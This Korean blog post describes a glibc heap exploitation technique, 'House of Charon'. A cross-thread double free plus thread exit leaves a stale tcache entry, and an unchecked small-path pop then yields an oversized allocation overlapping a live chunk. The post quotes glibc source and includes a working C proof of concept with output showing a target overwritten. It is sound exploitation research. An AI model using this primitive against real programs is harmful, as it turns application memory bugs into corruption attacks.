4191 words
21 minutes
House of Charon: Cross-Thread Tcache Ghost Coalescing

Intro#

안녕하세요!

tcache가 도입된 이후 glibc heap exploitation의 많은 부분은 결국 “tcache entry의 freelist 포인터를 어떻게 조작할 것인가”로 귀결되는 경우가 많습니다. Safe-linking이 추가된 이후로는 더더욱 그렇습니다.

그런데 freelist 포인터를 단 한 번도 건드리지 않고도 size가 다른 두 allocation을 겹치게 만들 수 있다면 어떨까요?

이번 글에서는 서로 다른 두 thread가 같은 chunk를 각자의 tcache에 담고 있는 상태를 만든 뒤, 그중 한 thread만 종료시켜서 arena와 나머지 thread의 tcache 사이에 size class 불일치를 만드는 기법을 살펴보겠습니다. 이름은 편의상 House of Charon1이라고 부르겠습니다.

먼저 분명히 해둘 것이 있습니다. 이 글은 glibc의 새로운 취약점을 다루는 것이 아닙니다. 시작점은 같은 포인터를 두 thread가 각각 free()하는 애플리케이션 수준의 lifetime bug이고, 이 글이 보여주려는 것은 그 bug를 glibc 2.43+ 기본 설정에서 어떤 heap primitive로 바꿀 수 있는지입니다.

이 기법은 각각 따로 보면 자연스러운 세 가지 allocator 동작의 틈새를 순서대로 잇습니다.

  1. Double-free 검증이 현재 thread의 tcache만 본다는 것
  2. Thread 종료가 자신의 tcache를 arena로 돌려보낸다는 것
  3. Small-path tcache pop이 physical size를 재검증하지 않는다는 것

하나씩 따라가 보겠습니다.

이 글은 tcache의 기본 동작(bin, size class, safe-linking)을 이미 알고 있다는 전제로 씁니다. 생소하시다면 how2heap을 먼저 보고 오시는 걸 추천드립니다.

서로 다른 Thread 간 Double-free 분석#

먼저 tcache entry의 구조와, 그 entry들을 담는 per-thread 구조체를 살펴보겠습니다. (source)

/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). */
typedef struct tcache_perthread_struct
{
uint16_t num_slots[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
/* TCACHE is never NULL; it's either "live" or points to one of the
above dummy entries. */
static __thread tcache_perthread_struct *tcache =
(tcache_perthread_struct *) &__tcache_dummy.inactive;

여기서 눈여겨봐야 할 것은 tcache 자체가 __thread 변수라는 점입니다. 즉 thread마다 자신만의 tcache_perthread_struct를 갖고, 그 안의 entries[TCACHE_MAX_BINS] 배열이 곧 size class별 bin입니다. Free된 chunk의 user 포인터를 P라고 하면, P가 어느 size class에 속하는지는 P 내부 어디에도 저장되지 않고, entries[tc_idx] 중 어떤 slot이 P를 가리키고 있는지로만 표현됩니다.

이제 double free 검증 로직을 보겠습니다. __libc_free()는 chunk를 tcache에 넣기 전에 이미 tcache에 들어가 있는 chunk인지부터 확인합니다. (source)

#if USE_TCACHE
if (__glibc_likely (size < mp_.tcache_max_bytes))
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* Check for double free - verify if the key matches. */
if (__glibc_unlikely (e->key == tcache_key))
return tcache_double_free_verify (e);
size_t tc_idx = csize2tidx (size);
if (__glibc_likely (tc_idx < TCACHE_SMALL_BINS))
{
if (__glibc_likely (tcache->num_slots[tc_idx] != 0))
return tcache_put (p, tc_idx);
}

key가 tcache_key와 같으면 tcache_double_free_verify()로 넘어갑니다. 이 함수가 실제로 무엇을 검사하는지가 핵심입니다. (source)

static __attribute__ ((noinline)) void
tcache_double_free_verify (tcache_entry *e)
{
tcache_entry *tmp;
for (size_t tc_idx = 0; tc_idx < TCACHE_MAX_BINS; ++tc_idx)
{
size_t cnt = 0;
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (misaligned_mem (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
}
}
/* No double free detected - it might be in a tcache of another thread,
or user data that happens to match the key. Since we are not sure,
clear the key and retry freeing it. */
e->key = 0;
__libc_free (e);
}

tc_idx를 0부터 TCACHE_MAX_BINS까지 전부 순회하니 언뜻 보면 꼼꼼해 보입니다. 하지만 이 함수가 순회하는 tcache는 여전히 현재 thread의 __thread 변수입니다. 즉 모든 bin을 뒤지긴 하지만, 그 범위는 현재 thread 하나로 한정됩니다. 함수 마지막 주석도 이 사실을 명시하고 있습니다. 다른 thread의 tcache에 있을 수도 있다는 것을 알면서도, 확인할 방법이 없으니 key를 지우고 검증을 종료한 뒤 다시 free합니다.

즉 thread A가 이미 free(P)를 해서 A.tcache->entries[63]에 P가 들어가 있는 상태에서, thread B가 같은 P를 다시 free()하면 B의 tcache는 A의 tcache와 별개의 __thread 인스턴스이므로 어떤 bin을 순회해도 P를 찾지 못하고, P는 B의 tcache에 삽입됩니다.

img

Thread 종료 과정 분석#

두 tcache가 같은 P를 가리키는 상태를 만들었다면, 다음 질문은 다음과 같습니다. 이 상태에서 thread 하나가 종료되면 무슨 일이 일어날까요?

Thread가 종료되면 allocator cleanup 경로에서 tcache_thread_shutdown()이 호출됩니다. 실제 구현은 다음과 같습니다. (source)

static void
tcache_thread_shutdown (void)
{
int i;
mchunkptr p;
tcache_perthread_struct *tcache_tmp = tcache;
int need_free = tcache_enabled ();
/* Disable the tcache and prevent it from being reinitialized. */
tcache_set_disabled ();
if (! need_free)
return;
/* Free all of the entries and the tcache itself back to the arena
heap for coalescing. */
for (i = 0; i < TCACHE_MAX_BINS; ++i)
{
while (tcache_tmp->entries[i])
{
tcache_entry *e = tcache_tmp->entries[i];
if (__glibc_unlikely (misaligned_mem (e)))
malloc_printerr ("tcache_thread_shutdown(): "
"unaligned tcache chunk detected");
tcache_tmp->entries[i] = REVEAL_PTR (e->next);
e->key = 0;
p = mem2chunk (e);
_int_free_chunk (arena_for_chunk (p), p, chunksize (p));
}
}
p = mem2chunk (tcache_tmp);
_int_free_chunk (arena_for_chunk (p), p, chunksize (p));
}

tcache_tmp는 이 함수가 실행되는 시점의 tcache, 즉 종료 중인 thread 자신의 tcache_perthread_struct입니다. 이 함수는 tcache_tmp->entries[i]를 하나씩 꺼내 e->key = 0으로 지운 뒤 _int_free_chunk()로 arena_for_chunk(p)가 결정한 arena에 되돌립니다. “for coalescing”이라는 주석 그대로, 이 chunk는 다시 arena의 free list로 합류할 준비가 된 상태가 됩니다.

여기서 중요한 점은, 이 loop가 순회하는 대상이 tcache_tmp, 즉 자기 자신의 tcache뿐이라는 것입니다. 다른 살아 있는 thread가 가진 tcache_perthread_struct를 순회하면서 같은 P를 지워주는 로직은 어디에도 없습니다.

앞서 만든 상태에서 thread B가 종료되면, B의 shutdown은 자신의 tcache entry를 따라가 실제 물리 chunk P를 arena에 반환하고, thread A의 tcache에는 같은 주소를 가리키는 stale entry가 그대로 남습니다.

B 종료 이전:
A.tcache[63] -> P
B.tcache[63] -> P
B 종료 이후:
A.tcache[63] -> P (stale)
B.tcache -> 비어 있음
arena -> P를 free chunk로 소유

A 입장에서는 여전히 P가 자신의 tcache 안에 있다고 믿고 있지만, 실제로 P의 소유권은 이미 arena로 넘어간 상태입니다.

이제 P가 arena의 free chunk가 된 상태에서, thread A가 계속 malloc을 호출한다고 해보겠습니다. 이때 A가 요청하는 크기가 P의 원래 size class보다 작다면, arena는 P를 split해서 앞부분만 내어주고 나머지는 remainder로 남깁니다.

문제는 arena가 P의 물리적인 header만 바꿀 뿐, thread A의 tcache가 여전히 들고 있는 entries[63] slot은 전혀 모른다는 것입니다.

Split 이후 P의 실제 header: 더 작은 chunk size
A.tcache가 기억하는 분류: 여전히 원래의 큰 size class

같은 주소 P에 대해 arena가 알고 있는 정보와 A의 tcache가 알고 있는 정보가 서로 어긋나기 시작하는 지점입니다.

이 어긋남을 최대한 크게 벌리려면 두 가지가 필요합니다. 원래 크기는 최대한 크게, split 이후 크기는 최대한 작게 만드는 것입니다.

x86-64에서 glibc의 request-to-size 변환은 다음과 같습니다.

SIZE_SZ = 0x8
MALLOC_ALIGNMENT = 0x10
MINSIZE = 0x20
request2size(0x408) = (0x408 + 0x8 + 0xf) & ~0xf = 0x410
request2size(0x100) = (0x100 + 0x8 + 0xf) & ~0xf = 0x110

Small tcache index는 (chunk_size - MINSIZE) / MALLOC_ALIGNMENT로 계산되므로, 0x410은 index 63, 0x110은 index 15에 해당합니다.

여기서 0x410을 고른 이유는 단순합니다. glibc 2.43+의 기본 설정에서 MAX_TCACHE_SMALL_SIZE가 0x410이기 때문에, 이 크기는 size 재검증이 없는 small tcache path를 유지하는 한도 내에서 가장 큰 값입니다. 이보다 커지면 large-tcache path로 넘어가는데, 그 경로에는 요청 크기와 실제 chunksize()가 같은지 확인하는 exact-size check가 존재합니다. (뒤에서 코드로 자세히 보겠습니다.)

0x410 -> small path, size 재검증 없음
0x410 초과 -> large path, exact-size check 존재

반대로 split 크기는 0x410보다 작아 small tcache path에 속하기만 하면 됩니다. PoC에서는 0x110을 골라서 0x410 - 0x110 = 0x300이라는 넉넉한 remainder를 남겼습니다. 이 remainder에 별도의 live target을 배치해두면, 나중에 만들어질 실제보다 큰 view가 그 target까지 overwrite할 수 있습니다.

Small-path tcache pop 분석#

이제 마지막 조각입니다. thread A가 다시 malloc(0x408)을 호출해서 자신의 stale index 63 entry를 소비하는 순간, glibc는 무엇을 검사할까요? __libc_malloc()의 small-tcache fast path부터 보겠습니다. (source)

void *
__libc_malloc (size_t bytes)
{
#if USE_TCACHE
size_t nb = checked_request2size (bytes);
if (nb < mp_.tcache_max_bytes)
{
size_t tc_idx = csize2tidx (nb);
if (__glibc_likely (tc_idx < TCACHE_SMALL_BINS))
{
if (tcache->entries[tc_idx] != NULL)
return tcache_get (tc_idx);
}
else
{
tc_idx = large_csize2tidx (nb);
void *victim = tcache_get_large (tc_idx, nb);
if (victim != NULL)
return victim;
}
}
#endif
return __libc_malloc2 (bytes);
}

tc_idx가 small bin 범위(TCACHE_SMALL_BINS 미만)면 tcache->entries[tc_idx]가 NULL이 아닌지만 확인하고 곧바로 tcache_get(tc_idx)를 호출합니다. tcache_get()이 실제로 chunk를 꺼내는 부분은 tcache_get_n()입니다. (source)

static __always_inline void *
tcache_get_n (size_t tc_idx, tcache_entry **ep, bool mangled)
{
tcache_entry *e;
if (!mangled)
e = *ep;
else
e = REVEAL_PTR (*ep);
if (__glibc_unlikely (misaligned_mem (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
if (!mangled)
*ep = REVEAL_PTR (e->next);
else
*ep = PROTECT_PTR (ep, REVEAL_PTR (e->next));
++(tcache->num_slots[tc_idx]);
e->key = 0;
return (void *) e;
}

여기서 검사하는 것은 misaligned_mem(e) 하나뿐입니다. e가 가리키는 chunk의 실제 chunksize()가 tc_idx에 대응하는 size와 일치하는지는 어디에서도 확인하지 않습니다.

반면 large bin 경로인 tcache_get_large()는 다릅니다. (source)

static __always_inline void *
tcache_get_large (size_t tc_idx, size_t nb)
{
tcache_entry **entry;
bool mangled = false;
tcache_entry *te;
entry = tcache_location_large (nb, tc_idx, &mangled, &te);
if (te == NULL || nb != chunksize (mem2chunk (te)))
return NULL;
return tcache_get_n (tc_idx, entry, mangled);
}

nb != chunksize (mem2chunk (te)), 즉 요청 크기와 물리 chunk 크기가 정확히 일치하는지를 명시적으로 확인한 뒤에야 tcache_get_n()을 호출합니다. small path에는 이 한 줄이 없습니다.

즉 A의 index 63 head가 실제로는 0x110짜리 chunk로 쪼개져 있어도, __libc_malloc()의 small path는 그 사실을 신경 쓰지 않고 그대로 P를 반환합니다.

지금까지 살펴본 세 가지 성질을 순서대로 이어 붙이면 다음과 같은 흐름이 됩니다.

thread A: free(P) -> A.tcache[63]에 P 저장
thread B: free(P) -> B.tcache[63]에도 P 저장
thread B: exit -> B의 shutdown이 물리 chunk P를 arena로 반환, A의 entry는 stale로 남음
thread A: malloc(0x100) -> arena가 P를 0x110으로 split
thread A: malloc(0x100) -> remainder에 별도의 target 배치
thread A: malloc(0x408) -> A의 stale tcache가 P를 큰 요청으로 반환

PoC 코드로 옮기면 다음과 같습니다.

// gcc -pthread house_of_charon.c -o house_of_charon
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
enum {
VICTIM_REQUEST = 0x408,
GUARD_REQUEST = 0x28,
SMALL_REQUEST = 0x100,
TARGET_OFFSET = 0x110,
OVERWRITE_OFFSET = 0x120,
};
static void *victim;
static void *second_owner(void *arg) {
(void)arg;
free(victim);
printf("[+] Thread B freed victim chunk: %p\n", victim);
return NULL;
}
int main(void) {
pthread_t thread;
victim = malloc(VICTIM_REQUEST);
void *guard = malloc(GUARD_REQUEST);
printf("[+] Victim chunk allocated: %p\n", victim);
printf("[+] Guard chunk allocated: %p\n", guard);
free(victim);
printf("[+] Thread A freed victim chunk: %p\n", victim);
pthread_create(&thread, NULL, second_owner, NULL);
pthread_join(thread, NULL);
void *small = malloc(SMALL_REQUEST);
printf("[+] Small chunk (0x110) allocated: %p\n", small);
void *target = malloc(SMALL_REQUEST);
strcpy(target, "Target");
printf("[+] Target chunk (0x110) allocated: %p\n", target);
printf("[+] Target contents before overwrite: \"%s\"\n", (char *)target);
void *large = malloc(VICTIM_REQUEST);
printf("[+] Large chunk (0x410) allocated: %p\n", large);
printf("[+] Overlap check: small %p == large %p\n", small, large);
const size_t target_hit_offset = OVERWRITE_OFFSET - TARGET_OFFSET;
unsigned char *overwrite = (unsigned char *)large + OVERWRITE_OFFSET;
strcpy((char *)overwrite, "Overwrite Target");
printf("[+] Target contents after overwrite: \"%s\"\n", (char *)target + target_hit_offset);
return ((unsigned char *)target)[target_hit_offset] != "Overwrite Target"[0];
}

PoC를 빌드하고 실행하면 다음과 같은 결과를 볼 수 있습니다.

[+] Victim chunk allocated: 0x55ab6e20c010
[+] Guard chunk allocated: 0x55ab6e20c420
[+] Thread A freed victim chunk: 0x55ab6e20c010
[+] Thread B freed victim chunk: 0x55ab6e20c010
[+] Small chunk (0x110) allocated: 0x55ab6e20c010
[+] Target chunk (0x110) allocated: 0x55ab6e20c120
[+] Target contents before overwrite: "Target"
[+] Large chunk (0x410) allocated: 0x55ab6e20c010
[+] Overlap check: small 0x55ab6e20c010 == large 0x55ab6e20c010
[+] Target contents after overwrite: "Overwrite Target"

guard allocation은 B의 shutdown이 P를 arena로 돌려줄 때 top chunk와 합쳐지는 것을 막기 위한 장치입니다. P가 top과 병합돼버리면 뒤이은 split 자체가 성립하지 않습니다. 이 덕분에 이어지는 malloc(0x100) 호출 시점에 unsorted-bin에서 이 요청을 만족시킬 후보는 P 하나뿐이고, malloc의 unsorted-bin 탐색이 반환하는 것은 결국 P입니다.

최종적으로 large chunk와 small chunk는 같은 주소를 가리키지만, large chunk가 요청한 크기는 0x408이고 물리 chunk 크기는 0x110입니다. large chunk를 요청 크기만큼 사용하면 바로 뒤에 배치된 target의 데이터를 그대로 덮어쓰게 됩니다.

large chunk가 접근 가능한 메모리 범위
P ---------------------------------------------------- P+0x408
| small | target header | target data | remainder ... |
^
large+0x120

한계#

다만 짚어야 할 한계가 있습니다. B가 P를 tcache에 넣을 때 호출되는 tcache_put_n()은 다음과 같이 동작합니다. (source)

static __always_inline void
tcache_put_n (mchunkptr chunk, size_t tc_idx, tcache_entry **ep, bool mangled)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
/* Mark this chunk as "in the tcache" so the test in __libc_free will
detect a double free. */
e->key = tcache_key;
if (!mangled)
{
e->next = PROTECT_PTR (&e->next, *ep);
*ep = e;
}
...
--(tcache->num_slots[tc_idx]);
}

PoC는 A와 B의 index 63 bin을 비워둔 채 P를 singleton으로 넣기 때문에, *ep, 즉 이전 head는 NULL이고, e->next = PROTECT_PTR(&e->next, NULL)로 인코딩됩니다. 이 encoding은 저장 위치인 &e->next 자체에만 의존하므로, B의 insertion과 이후 shutdown traversal은 문제없이 동작합니다.

그런데 P가 arena로 돌아가면 unsorted-bin 관련 metadata를 받을 수 있고, 이 과정에서 예전 next가 있던 자리, 즉 user data의 첫 8바이트가 arena의 fd로 덮일 수 있습니다. A가 stale P를 pop할 때 실행되는 것은 앞서 살펴본 tcache_get_n()이고, 그중에서도 핵심은 이 한 줄입니다.

*ep = REVEAL_PTR (e->next);

다음은 head를 decode해서 저장하는 부분입니다. 이 decode 결과를 같은 호출 안에서 dereference하거나 검증하지 않기 때문에, e->next가 arena metadata로 덮여 있어도 첫 번째 stale pop, 즉 P 자체를 반환하는 것까지는 그대로 성공합니다. 다만 그 다음 index 63 head는 arena metadata에서 나온 garbage일 수 있어서, 두 번째 pop이 항상 안전하다고 보장할 수 없습니다. 그래서 House of Charon의 기본 primitive는 one-shot으로 취급해야 합니다. 첫 pop으로 얻은, 실제보다 큰 view를 이용해 다른 primitive(길이 조작, 포인터 조작 등)로 곧바로 확장해야 하고, 같은 bin을 다시 사용하면 abort나 crash로 이어질 수 있습니다.

Summary#

이번 글에서는 서로 다른 두 thread의 tcache가 같은 chunk를 동시에 가리키게 만든 뒤, 그중 한 thread만 종료시켜 arena와 나머지 thread의 tcache 사이에 size class 불일치를 만드는 과정을 살펴보았습니다.

핵심은 새로운 metadata corruption 기법이 아니라, allocator가 서로 다른 범위에서 유지하는 두 가지 정보를 분리해내는 것이었습니다.

Arena가 아는 정보:
P는 작게 split된 live chunk다.
Thread A의 tcache가 아는 정보:
P는 여전히 원래의 큰 size class에 속한 entry다.

Cross-thread double free는 두 thread의 독립적인 tcache slot이 동일한 P의 tcache_entry를 가리키게 만들고, thread exit는 그중 한 slot을 따라 실제 chunk를 arena로 반환하여 다른 slot을 stale 상태로 남깁니다. Arena의 split은 P의 물리적 size를 바꾸지만, 살아남은 thread의 stale size class는 그대로 남습니다. 그리고 small-path tcache pop은 이 불일치를 검사하지 않고 P를 그대로 내어줍니다.

freelist 포인터를 단 한 번도 조작하지 않고도, thread lifecycle과 arena split이라는 지극히 정상적인 동작만으로 size-confused overlapping allocation을 만들 수 있다는 점이 이 기법에서 가장 흥미로운 부분이라고 생각합니다.

참고 자료#

Footnotes#

  1. 하나의 chunk가 한쪽 thread의 죽음을 통해 arena로 건너가고, 다른 쪽 thread에는 예전 크기를 기억하는 유령 같은 포인터가 남는다는 점에서 착안했습니다. ↩

House of Charon: Cross-Thread Tcache Ghost Coalescing
https://b1ackcat.com/blog/post/house_of_charon_cross-thread_tcache_ghost_coalescing/ko
Author
BlackCat
Published at
2026-08-19
License
CC BY-NC-SA 4.0